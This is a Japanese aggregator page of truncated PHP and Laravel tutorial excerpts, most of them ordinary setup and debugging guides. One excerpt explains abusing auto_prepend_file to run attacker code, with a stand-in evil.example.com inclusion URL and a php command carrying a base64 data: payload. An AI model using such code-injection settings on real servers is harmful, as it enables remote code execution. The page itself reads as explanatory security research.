PHP関連のことを調べてみた2020年04月30日

PHP関連のことを調べてみた2020年04月30日

raspberrypiとESP32を使った自分でIoTプラットホーム作成(その2)~ESP32設定編Lチカ

#ESP32の設定
家に転がっていたESP32の動作確認をしました。
Arduino-IDE ver1.8.10を使ってESP32ボードを認識させて下記コードを実行します。
LEDが点滅したら成功です。LEDの+と接続するpinの場所は任意です。

ちなみにLEDが壊れていて2回目で成功しました。

“`
void setup() {
// put your setup code here, to run once:
pinMode(33,OUTPUT);
}

void loop() {
// put your main code here, to run repeatedly:
digitalWrite(33,HIGH);
delay(500);
digitalWrite(33,LOW);
delay(500);
}
“`

元記事を表示

Laravel バリデーションを設定する ~コントローラ編~

# 目的

– 入力値をDBに保存する際にアプリケーション側でそのデータが要件を満たしているのかをフィルターする仕組みを実装する

# 実施環境

– ハードウェア環境

| 項目 | 情報 |
| — | — |
| OS | macOS Catalina(10.15.3) |
| ハードウェア | MacBook Pro (16-inch ,2019) |
| プロセッサ | 2.6 GHz 6コアIntel Core i7 |
| メモリ | 16 GB 2667 MHz DDR4 |
| グラフィックス | AMD Radeon Pro 5300M 4 GB Intel UHD Graphics 630 1536 MB |

– ソフトウェア環境

| 項目 | 情報 | 備考 |
| — | — | — |
| PHP バージョン | 7.4.3 | Homwbrewを用いて導入 |
| Laravel バージョン | 7.0.8 | commposerを用いて導入 |
| MySQLバージョン | 8.0.19 for osx10.13 on x86_6

元記事を表示

【Laravel】Laravel DB設定

#①MAMPを起動

アプリケーションからMAMPを開き、「サーバを起動」を押下する。

#②phpMyAdminにアクセス

[phpMyAdmin](http://localhost:8888/phpMyAdmin/?lang=ja)にアクセスする。

#③データベース作成

▪︎新規作成
左側のメニューから「新規作成」を押下する。

▪︎データベース名入力
フォームに作成したいデータベース名を入力する。

▪︎文字コード設定
プルダウンから文字コード「utf8_general_ci」を選択する。

▪︎作成
「作成」ボタンを押下する。

#④特権の設定

▪︎データベースの選択
左側のメニューから特権を設定したいデータベースを選択する。
今回は先ほど③で作成したデータベースを選択する。

▪︎特権タブを開く
上部から「特権タブ」を開く。

▪︎ユーザアカウント追加
「ユーザアカウントを追加する」を押下する。

▪︎ログイン情報フォーム入力
ユーザ名、パスワード、再入力を入力する。
他の設定は変えない。

▪︎ユーザアカウント専用データベース設定
チェックボックスから「データベース

元記事を表示

【Laravel】Laravel初期設定

#①タイムゾーン変更

タイムゾーンを下記の通り変更する。

“`php:config/app.php
// 変更前
‘timezone’ => ‘UTC’,

// 変更後
‘timezone’ => ‘Asia/Tokyo’,
“`

#②Locale変更

Localeを下記の通り変更する。

“`php:config/app.php
// 変更前
‘locale’ => ‘en’,

// 変更後
‘locale’ => ‘ja’,
“`

#③DB文字コード変更

DB文字コード変更を下記の通り変更する。

“`php:config/database.php
// 変更前
‘charset’ => ‘utf8mb4’,
‘collation’ => ‘utf8mb4_unicode_ci’,

// 変更後
‘charset’ => ‘utf8’,
‘collation’ => ‘utf8_unicode_ci’,
“`

#④デバッグバーのインストール

ディレクトリ移動

“`
公文)
$ cd /Applications/MAMP/htdocs/プロジェク

元記事を表示

Laravelのmax file sizeのValidationメッセージでKBをMBにする方法

## 概要
タイトル通りです。
max file sizeのValidationはデフォルトでKB表示になっているので、それをMBやGBに変更する方法を調べたので備忘録です。

## 環境
PHP: 7.2.22
Laravel: 6.18.3

## 事前準備
以下のようにRequestオブジェクトにvalidationのルールを記述すると「inputFile」フォームからアップロードするファイルの上限を1MBに設定します。

“`php:app/Http/Requests/FileUploadRequest.php
public function rules()
{
return [
‘inputFile’ => ‘max:1024’
];
}
“`

1MB以上のファイルをアップロードした場合は以下のように「The input file may not be greater than 1024 kilobytes.」と表示されるので、これをメガバイト表示に修正していきます。
![スクリーンショット

元記事を表示

proc_open(): fork failed – Cannot allocate memory の解決法

#記事内容
PHP,laravelでアプリ開発中にSassを導入しようと、`composer update`した時に起きたエラーの解決法について書きます。
エラー原因はAmazon Cloud9のメモリが不足しているためであり、スワップファイルを作成してあげることで解決できました。

#開発環境
– PHP -v7.2
– Laravel -v5.5
– cloud9
– mysql -v5.5

#エラー内容
Laravelでsassを使うために、composerからSassのインストールを実行

“`
$composer update
“`

エラー
“`
[ErrorException]
proc_open(): fork failed – Cannot allocate memory
“`

#解決方法
スワップファイル領域の確認

“`
$free -m

total used fre

元記事を表示

PHPで複数ファイル(blob型のファイル含む)をZipダウンロードする方法

# 概要
複数のファイルを1つのZipファイルにまとめてダウンロードする機能を作成したので、手順をまとめました。
具体的には、次のような機能です。

– これらのファイルをZipアーカイブ化しブラウザからダウンロードする。
– 商品に関する情報を記載したExcelファイル
– PDFやPSD、画像(pngやsvg)など、DB(Mysql)にバイナリ形式のBlobで保存されているファイル
– インターネット公開されない、管理画面上の機能なのでアクセス数は多くない。

この機能を作って得た学びは、

– ファイル名が重複するときにファイル名に連番を振る方法
– (Zipに限らず)IEでも日本語ファイル名のファイルをダウンロードする方法

です。

# 動作確認環境

“`
EC-CUBE 4.0.3
Symfony 3.4
PHP 7.3
MySQL 5.7
“`

# 方針
– blob型でDBに格納されているデータは、`ZipAchive`クラスの`addFromString()`メソッドを使う。
– [【PHPサンプルコード】Zipファイルを作成し、ブラウザからダウン

元記事を表示

Vagrant + PHP + IntelliJ IDEA でリモートデバッグを設定

# Vagrant側の設定
## サーバーにログイン
“`
vagrant ssh
“`

## peclコマンドをインストール

(php7の場合、pearのバージョンは1.10.0以降でないと上手く動かない)

“`
sudo yum –enablerepo=remi-php70 install php-pear

pear -V
PEAR Version: 1.10.5
PHP Version: 7.0.11
Zend Engine Version: 3.0.0
“`

## xdebug インストール

“`
pecl install xdebug

You should add “zend_extension=/usr/lib64/php/modules/xdebug.so” to php.ini
“`

## php.iniにパラメータを設定

“`
zend_extension=xdebug.so ← Apacheの場合はフルパス指定「/usr/lib64/php/modules/xdebug.so」
xdebug.remote_

元記事を表示

routes/web.php が読み込まれて実行されるまでを理解する

# まえがき

## 背景

エンジニア仲間でLaravelのソースコードを輪読することにしました。Laravelのソースコードとは言っても膨大な量があるので、まずはルーティング処理から読んでいきます。

1回目の先週はKernelやFacadeなどの概念をさらいながら `App\Providers\RouteServiceProvider` クラスの `mapWebRoutes()` メソッドを読むという発表がありました。2回目の今日はルーティング情報の設定がどのように行われるのかを厳密に読んでいきたいと思います。

## ローカル開発環境

macOSです。

“`
> sw_vers -productVersion
10.15.4
> php –version
PHP 7.2.30 (cli) (built: Apr 23 2020 02:40:39) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies

元記事を表示

slim(php)について 

##slimとは
マイクロフレームワークと呼ばれるシンプルなフレームワーク。

###slimの機能
1.slimアプリケーションをインスタンス化して構成
2.アプリケーションルートを定義
3.slimアプリケーションを実行

##初学者向けのチュートリアル記事(実際にやってみた)
###取り組んだ流れ
はじめにqiitaの記事を行う予定でしたが、実際に行うと
qiitaはバージョンが1つ古く、記事の内容と同じようにできずに、断念。

youTubeの記事をやってみた(写経)。
しかし、ファイル取り込みやエラーハンドラーがない等のエラーで先に進まず、断念

公式のチュートリアルを進める。できた。

概念の理解↓
https://qiita.com/nunulk/items/4b5c15f13ade660cafbc

やってみた↓

最終的なやってみた↓
http://www.slimframework.com/docs/v4/

###ルーティング
$app->get(URL, 関数)
・HTTPリクエストメソッドに対

元記事を表示

PDOでデータベースを扱う

[PDO(PHP Data Object)](https://www.php.net/manual/ja/class.pdo.php)

MySQLを使っていきます

#まずMySQLでデータベースを作成
“`php:localhost
mysql -u root
“`

“`mysql:mysql
create database db;

grant all on db.* to dbuser@localhost identified by ‘A’;

use db;

create table users (
id int not null auto_increment primary key,
name varchar(255),
score int
);
“`

#1.PDOの設定
PDOは基本的にtryとcatchで書く。

“`php:pdo.php
define(‘DB_DATABASE’, ‘db’);
define(‘DB_USERNAME’, ‘dbuser’);
define(‘DB_PASSWORD’, ‘A’);
//Data Sourc

元記事を表示

PHPのauto_prepend_fileでdataスキームを指定してみた

PHPの設定ファイル php.ini には、auto_prepend_fileという項目があって、スクリプトが起動される前に実行するスクリプトを指定することができる。通常は php.ini などに auto_prepend_file=/path/to/start.php などと記述する。
これが悪用される場合がある。PHPの脆弱性CVE-2012-1823の悪用コードでは、auto_prepend_file=php://input として、攻撃コードをリクエストボディにいれるという手法が取られたが、理論的には外部サイトに攻撃コードをおいて、auto_prepend_file=http://evil.example.com/snipet.txt などとしてもよい。そして、理論的にはdataスキームを使っても攻撃できるはずだと思った。で、試してみた。

“`sh
$ php -d allow_url_include=On -d ‘auto_prepend_file=data:text/plain;base64,PD9waHAgCnN5c3RlbSgncHMgLWZIJyk7CmV4aXQ

元記事を表示

素のPHPで あつ森用 のWebサービスを作ってみた

#はじめに

作ってみたもの: https://tanupost.net/
制作期間: 4/17〜4/29 (70時間くらい)
4/19リリース(最低限の機能でリリースした後に機能を追加していった)

#何を作ったのか
あつ森のマイデザインを共有できるサービス??✨

#どうして作ったのか
外出自粛ブームに乗ってあつ森デビュー?
他人のマイデザインを~~パクろう~~参考にしようとしたが検索サイトを見つけられなかった?
(ワードプレスっぽいまとめサイトはいっぱいあった)

#作る前に考えたこと
Twitter眺めてたら作品を公開したそうな人が多いので流行るかも?✨
先発優位 → 似たものが誕生する前に一刻も早くリリースしたい??

#実装前の準備
###サイト名を考える
「投稿」「たぬきち(メイン(?)キャラ)」「タ

元記事を表示

Codeigniter 3で使っていたアレをCodeigniter 4で使う

# Codeigniter4が3と違いすぎて辛い

ついにCodeigniter4が正式リリースされたが、

– [Upgrading from 3.x to 4.x](https://codeigniter4.github.io/userguide/installation/upgrade_4xx.html)
– [Codeigniter4の比較と検証](https://www.slideshare.net/tetsuroy/codeigniter4)

などを読んで「・・・」となった方も多いのではなだろうか。
正直、Codeigniter3のプログラムの移行はほぼ諦めモード。

ただ、今後の新たに制作すものについては触らないわけにもいかないので、マニュアルに記載がなく(分かりづらく)、かつ、私がよく使っているやり方をCodeigniter4で再現するための方法を記載しておく。

## コントローラ、メソッド名の取得

routerから取得できるコントローラの値が名前空間に変わってしまっている。
あまりスマートじゃないが、やや強引に解決。

### Codeigniter 3
`

元記事を表示

LaravelでGoogle API Text to Speech を使う

# やりたかったこと

Google の合成音声(Text to Speech)を使って、簡単なウェブアプリ作りたいなと思いました。

公式ドキュメントだけではつまづいたので、解説です。

まずは、公式ドキュメントのサンプルコードを実行して、音声ファイルをダウンロードできるところまでを目指します。

[Google Cloud Text to Seech ドキュメント](https://cloud.google.com/text-to-speech/docs)

# Google Cloudでの設定

Google APIを使う時には、Google Cloud で設定をし、jsonファイルをダウンロードしておく必要があります。

ここまでは、公式ドキュメントを参照しながらでも問題はないので、以下をご覧ください。

[クイックスタート: クライアント ライブラリの使用](https://cloud.google.com/text-to-speech/docs/quickstart-client-libraries)

このガイドに従い、1から「4.認証を設定します」まで進

元記事を表示

PHPデバッグ作業用ログ出力あれこれ

# デバッグ
変数内のデータがどういう状態にあるのかを知ることは、デバッグするうえで非常に重要な情報となります。
PHPでは変数内に何が入っているのかという情報を得るために以下のような関数が用意されています。
出力のフォーマットや情報量に差がありますが、print_rとvar_exportを覚えておくとよいとおもいます。

##print_r関数
得られる情報量はおそらく3種の中で一番少ないですが、第二引数にtrueを付けることでダイレクトに出力せずにテキストとして取得することができるようになります。
`$debug = print_r($var, true);`

##var_dump関数
この関数を私があまり使うことがないのは、変数内に格納することができないからです。
そのため後述するログ関数と組み合わせて使うことはできず、そのまま画面や標準出力に出してしまうことしかできないのです。
画面の上のほうに変数内のダンプデータがガガガッとでてきて画面の表示が変になったりくずれます。 画面やターミナルに出せるような機能であれば、いいのですが定期実行バッチであったりLaravelのQueue

元記事を表示

PHPで初めてのWebアプリケーション開発 備忘録1

#主旨
PHPを使ったWebアプリケーションの開発知識が必要になったので、開発過程の備忘録、知識のインプット・アウトプットをする。
機能実装の過程や、エラーが起きたときの解決方法を中心に共有していきたいと考えている。

##筆者のスペック
Progateで基礎学習をしたことがある程度。Railsでtwitterクロームをデプロイしたことがある。

##学習手段
「独習 PHP 第3版」「Laravel 実践開発」の書籍が手元にある。
あとはひたすらググる予定

##開発環境
– PHP 7.3.11
– HTML/CSS
– macOS Catalina 10.15.3
– MySQL
– Editer:Atom

##目標物
スケジュール・出欠管理アプリ

##アプリ制作の経緯
社会人サッカーチームに所属しており、情報共有に以下の3つのツールを使っている。

– Line
– スケジュール管理
– 監督が選評を書く掲示板

出欠登録と事前の連絡が別のツールで行われていて面倒なので、
この機能を一つのWebアプリケーションにまとめたい。

##実装したい機能(暫定)
– 投稿機能(

元記事を表示

Laravel×Reactの環境構築

# この記事を読んで出来ること
バックエンドにPHPのフレームワークであるLaravelを、フロントエンドにJavaScriptのフレームワークであるReactを用いたウェブアプリ開発をするための環境構築。
※今回はmacOSを用いて環境構築を行っています。

## Composerをインストールする
まずはLaravelをインストールために用いるComposerをインストールします。Composerとは、PHP開発で使用するライブラリやパッケージを管理するツールで、macOSではHomebrewでインストールすることが出来ます。インストールが完了してバージョン情報が表示されるか確認しておきましょう。

“`
$ brew install composer
$ composer -V
“`

## Laravelプロジェクトを作成する
次に、composerを用いてLaravelプロジェクトを作成します。プロジェクトの作成にはcreate-projectを用います。

“`
$ composer create-project laravel/laravel “プロジェクト名”
$

元記事を表示

【Vagrant/Mac】ローカルと仮想マシンのフォルダを共有/同期する方法

##執筆にあたり

自己紹介も含め、簡単に今の状況を書きます。

実務でPHPを使うことになったので、まずはパーフェクトPHPで学習を進めようと思っている駆け出しです。

折角なので(ローカルを汚したくないという思いもあり)、Vagrantを使った仮想環境で学習しようと決意。

ただ、いちいちvagrantにsshログインしてviで開発していくのも面倒だと思ったので、ローカルと仮想マシンでフォルダ同期が出来ることを知り、、、
色々調べるも古い情報だったり、パスの記述方法が違ったり(環境によりけりなんですかね?)して、ハマったので備忘録として残します。

##前提条件

macOS Catalina 10.15.3
Vagrant 2.2.7

ここまでに至る環境構築については以下を参照しました。
わかりやすかったです。ありがとうございます!(勝手にリンク失礼します)
[Vagrant+VirtualBoxで仮想環境を構築し、PHPの実装内容をブラウザで確認する](https://qiita.com/nemui_/items/de5dd5feee95e60aa264)

上記の手順を一通

元記事を表示

JavaScriptのString.lengthをPHPで実装する

## TL;DR

PHPでは以下のように実装する。

“`php
strlen(mb_convert_encoding($string, ‘UTF-16’)) / 2;
“`

## JavaScriptのString.lengthの仕様

JavaScriptの内部ではUTF-16が用いられているが、PHPでは一般的にデフォルトがUTF-8である。
さらにJavaScriptの`String.length`とPHPの`mb_strlen`などではカウント方法が異なるため、バリデーション周りで問題を起こしやすい。

[String.length – JavaScript \| MDN](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/String/length) にはこう書いてある。

> このプロパティは、文字列内のコード単位の数を返します。UTF-16(JavaScript によって使われるフォーマット)は、基本的な文字を表すためには 1 つの 16 ビットを使用します

元記事を表示

OTHERカテゴリの最新記事